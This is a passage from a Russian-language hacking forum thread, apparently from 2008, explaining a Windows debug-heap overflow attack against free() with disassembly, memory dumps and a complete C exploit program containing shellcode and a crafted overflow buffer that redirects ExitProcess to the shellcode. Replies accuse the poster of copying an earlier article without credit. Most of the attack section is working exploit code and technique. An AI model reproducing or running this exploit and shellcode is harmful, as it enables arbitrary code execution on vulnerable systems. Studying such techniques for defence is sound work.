        *  unsigned char        anotherGap[nNoMansLandSize];
        */
    _CrtMemBlockHeader;

    далее идут проверки блокакоторый был передан:
        
    /* verify heap before freeing */
        
    if (_crtDbgFlag _CRTDBG_CHECK_ALWAYS_DF)
        
    _ASSERTE(_CrtCheckMemory());
        if (
    pUserData == NULL)
        return;
    HTML:
    разумется, что, если был передан нулевой адрес блока, то на этом этапе выполне-
    ние функции free() завершится.
    
    		_ASSERTE(_CrtIsValidHeapPointer(pUserData));
    
    тут идёт проверка самого адреса блока, если мы передали неправильный адрес (для
    примера 0х41414141), то на этом этапе программа выдаст нам ошибку!
    
    		/* get a pointer to memory block header */
    		pHead = pHdr(pUserData);
    
    указателю pHead (который указывает на структуру _CrtMemBlockHeader) присваев-
    ается адрес структуры заголовка блока, который расположен на 0x20 байт левее
    адреса блока (т.е. если а = 0х00430150, то pHead = 0х00430130)
    Если глянуть на адрес 0х00430130, то мы увидим, что мы его затёрли (и не толь-
    ко его), когда копировали информацию в b (т.к. блок b был расположен выше(лев-
    ее) блока a):
    
    00430130  41 41 41 ... CD CD  AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.ээННН
    
    ясное дело, что это и будет причина ошибки, и вот, как и следовало ожидать,
    сразу после присваивания указателю pHead адреса на структуры заголовка идёт
    проверка блока, т.е. проверка того адреса, который был присвоен указателю:
    
    	/* verify block type */
    	_ASSERTE(_BLOCK_TYPE_IS_VALID(pHead->nBlockUse));
    
    если сделать шаг дальше, то на этом месте выскочит ошибка! Но причина не в том,
    что мы затёрли адрес на структуру...причина в том, что мы затерли те байты,
    которые используются при данной проверке:
    PHP:
     .....:-[disassembled]-:................
      
    '
    004300EA  00 00 ... CD CD CD  ..............(...ээээННННННННННННН
    0043010D  CD CD ... 00 00  НННННННННННННННННээээ......Q...'
    ...
    00430130  88 49 ... CD CD  .I2.а.C.........d.......'...ээээННН
      '
     
    .....:-[end of disassembled]-:.........

    вот эти байты "00 00 00 01 00 00 00 28 00 00 00".
    HTML:
    если же их не затерать, то выполнение функции free() продолжится далее! А имен-
    но проверки и работа со структурой, на которую указывает pHead! Это и есть пре-
    дмет для тщательного изучения, т.к. адрес на структуру заголовка блока мы конт-
    ролируем.
    И разумеется самые интересные строки далее для меня были:
    	.....
    	pHead->pBlockHeaderNext->pBlockHeaderPrev = pHead->pBlockHeaderPrev;
    	.....
    	pHead->pBlockHeaderPrev->pBlockHeaderNext = pHead->pBlockHeaderNext;
    	.....
    предлагаю изучить их повнимательней:
    PHP:
    1062:     pHead->pBlockHeaderNext->pBlockHeaderPrev pHead->pBlockHeaderPrev;
    00401E1C 8B 45 FC    mov    eax,dword ptr [pHead]
    00401E1F 8B 08        mov      ecx,dword ptr [eax]
    00401E21 8B 55 FC    mov      edx,dword ptr [pHead]
    00401E24 8B 42 04    mov      eax,dword ptr [edx+4]
    00401E27 89 41 04    mov      dword ptr [ecx+4],eax
    HTML:
    последняя инструкция вызывает опасения, т.к. ,контролируя ecx и eax, можно пе-
    резаписать какой-нибудь адрес, хранящийся в [ecx+4] на значение(адрес), которое
    хранится в eax. И что же вы думаете? Это действительно так! Мы контролируем eax
    и ecx! :)) Т.е. адрес, на который указывает pHead - мы можем перезаписать..
    
    00401E1C 8B 45 FC	mov	eax,dword ptr [pHead]
    ---------------------[запишет в eax адрес pHead (0х00430130, если помните) ]
    
    00401E1F 8B 08		mov	ecx,dword ptr [eax]
    ---------------------[в ecx запишется то, что находится по адресу]
    ---------------------[0x00430130, КОТОРЫЙ МЫ КОНТРОЛИРУЕМ]
    
    00401E21 8B 55 FC	mov	edx,dword ptr [pHead]
    ---------------------[в edx запишется 0x00430130]
    
    00401E24 8B 42 04	mov	eax,dword ptr [edx+4]
    ---------------------[а в eax запишется то, что находится по адресу]
    ---------------------[0х00430134 , КОТОРЫЙ МЫ ТОЖЕ КОНТРОЛИРУЕМ]
    
    00401E27 89 41 04	mov	dword ptr [ecx+4],eax
    ---------------------[и в итоге запишем по адресу, который хранится]
    ---------------------[в ecx + смещение 4байта... адрес, который записан]
    ---------------------[в eax]
    
    Вот где собака зарыта! :) Теперь достаточно вместо адреса структуры заголовка
    блока написать адрес функции ExitProcess(), а в следующие 4 байта записать ад-
    рес, где хранится шеллкод. Но не стоит торопиться...предлагаю рассмотреть сле-
    дующую строку, которая осталась:
    PHP:
    pHead->pBlockHeaderPrev->pBlockHeaderNext pHead->pBlockHeaderNext;

    1072pHead->pBlockHeaderPrev->pBlockHeaderNext pHead->pBlockHeaderNext;
    00401E73 8B 45 FC    mov    eax,dword ptr [pHead]
    00401E76 8B 48 04    mov    ecx,dword ptr [eax+4]
    00401E79 8B 55 FC    mov    edx,dword ptr [pHead]
    00401E7C 8B 02        mov    eax,dword ptr [edx]
    00401E7E 89 01        mov    dword ptr [ecx],eax

    Как видно
    тут мы тоже контролируем ecx eaxНОСледует уделить этому куску
    должное внимание
    !

    00401E73 8B 45 FC    mov    eax,dword ptr [pHead]
    00401E76 8B 48 04    mov    ecx,dword ptr [eax+4]
    ---------------------[
    в ecx будет значение адреса 0х00430134 (адрес шеллкода)]

    00401E79 8B 55 FC    mov    edx,dword ptr [pHead]
    00401E7C 8B 02        mov    eax,dword ptr [edx]
    ---------------------[
    а здесь(в eaxбудет значение адреса 0х00430130]
    ---------------------[(
    т.еадрес ExitProcess())]

    00401E7E 89 01        mov    dword ptr [ecx],eax
    ---------------------[ну а тутсобственно первые 4 байта нашего]
    ---------------------[
    шеллкода перепишутся на 0х00430130]
    HTML:
    Что же делать в этом случае? :)) Не стоит отчаиваться и забывать, что при прыж-
    ке на шеллкод эти байты: "\x30\x01\x43\x00" превратятся в инструкции, которые
    будут выполняться! Теперь задача состоит в том, чтобы сделать так..чтоб эти ин-
    струкции ничего не испортили. Как это можно сделать? Очень просто - добавить
    дополнительные инструкции в начало, чтобы при интерференции картина не измени-
    лась :)), т.е. добавить 8 буковок A, к примеру, как я и сделал! маленькие нюан-
    сы: мы, когда добираемся до адреса структуры блока (0х00430130) сносим на своём
    пути другие данные, которые используются функцией __sbh_free_block при непос-
    редственном освобождении:
    PHP:
     .....:-[disassembled]-:................
      
    '
    004300DA  00 00 ... CD CD  ..............(...ээээННННННННННННН
    004300FD  CD CD ... 00 00  НННННННННННННННННээээ......Q...'
    ...
    00430120  88 49 ... CD CD  .I2.Р.C.........d.......'...ээээННН
      '
     
    .....:-[end of disassembled]-:.........
    HTML:
    очень важно сконструировать замену этим байтам "91 00 00 00", которые являются
    sizeFront'ом, иначе на этом участке программа выдаст ошибку т.к. sizeFront есть
    ничто иное как 0х00000091 и если в нём нолики заменить на хотя бы те же 0х01,
    то получится 0х01010191, что есть 16843153. И представьте какой адрес тогда при
    своится указателю pNext при наличии вот такого громадного смещения! Чтобы избе-
    жать этой трудности...достаточно записать вместо этих 4байт маленькую величину,
    такую как 0хffffffff :). Вот и всё! Проблема решена!
    PHP:
    Окончательный вариант получается таков (эксплоит):

    /* Heap Overflow exploit example for Win32 */

    #include <windows.h>
    #include <stdio.h>
    char shellcode[] =
        
    "\x41\x41\x41\x41" "\x41\x41\x41\x41"
        "\x33\xD2" "\x52" "\x68\x6C\x6C\x20\x20"
        "\x68\x72\x74\x2E\x64" "\x68\x6D\x73\x76\x63"
        "\x54" "\xB9\xD8\x05\xE8\x77" "\xFF\xD1"
        "\x52" "\x68\x20\x63\x6D\x64" "\x54"            
        "\xB9\x44\x80\xC1\x77" "\xFF\xD1" "\x52"            
        "\xB9\xDC\x7A\xC2\x77" "\xFF\xD1"
    ;         
    int main() {
        
    char *a;
        
    char *b;
        
    a=(char *)malloc(100);
        
    b=(char *)malloc(30);
        
    printf("%p\n",shellcode);
        
    char arg[]=
            
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" //malloc(30)
            
    "\xfd\xfd\xfd\xfd"
            "\x01\x01\x01\x01\x01\x01\x51\x01\x01\x01\xff\xff\xff\xff" 
    //important data
            
    "\x34\x51\x42\x00" //0x00425134+4 -- addr of ExitProcess()
            
    "\x30\x2a\x42\x00" //0x00422a30 -- addr of shellcode
            
    ;
        
    memcpy(b,&arg,sizeof(arg));
        
    free(a);
        
    ExitProcess(0);
    }
    HTML:
    Ед. проблема, опять остающаяся в силе - это 0х00 в адресах, которые нужно испо-
    льзовать! В случае с memcpy() нули не играют никакой роли, а вот, если исполь-
    зовать strcpy, etc., то необходимо задуматься, что именно надо переписать, и
    где именно расположить шеллкод! ;)
    При написании использованы материалы статьи:
    Crazy Einstein (aka xCrZx) [email protected] 02.11.03 - прим. -=lebed=-
     
    #2 Flame of Soul, 29 Apr 2008
    Last edited by a moderator: 30 Apr 2008
    4 people like this.
  3. zythar

    zythar Elder - Старейшина

    Joined:
    16 Feb 2008
    Messages:
    517
    Likes Received:
    109
    Reputations:
    5
    довольно позновательно. спасибо +
     
    1 person likes this.
  4. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    ну вроде рецензия

    Для начала хотелось бы привести ссылку на оригинал статьи написанной xCrZx аж в 2003 году
    _http://lbyte.void.ru/txt/win32/win32-exploiting-techniques.txt
    Она отличается от статьи ТС только разделом Intro и некоторыми незначительными изменениями которые Flame of Soul не привела видимо из скромности.
    Я в свою очередь хотел бы уточнить у автора
    1.Если это копипаст то зачем удалять копирайты и почему в тексте не присутствует ни одного упоминания автора(xCrZx)?
    2.Если ТС не претендует на авторство то зачем изменять оригинал статьи в часности писать INTRO от первого лица?
    Сравните:
    писать это:
    Этого текста нет у xCrZx и в связи с этим хотелось бы услышать ответ на вопрос если это мысли ТС то почему нет благодарностей xCrZx'у,и написано, что "на написание этой статьи",а не копирование, а если это текст xCrZx то почему его нет в оригинале статьи
    Да и вообще зачем переписывать часть текста своими словами?Статья помоему и так не плохая
    Допускаю так-же вариант,что Flame of Soul и xCrZx одно лицо, но тогда возникает вопрос:
    xCrZx зачем ты сменил пол? :D
     
    2 people like this.
  5. Flame of Soul

    Flame of Soul Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    185
    Likes Received:
    146
    Reputations:
    45
    это только первая часть
    ссори разные оригиналы
    лица разные, данная часть является только теорией, практическая будет через недели 2
    справедливое замечание, в моем paperse этого нет, исправлю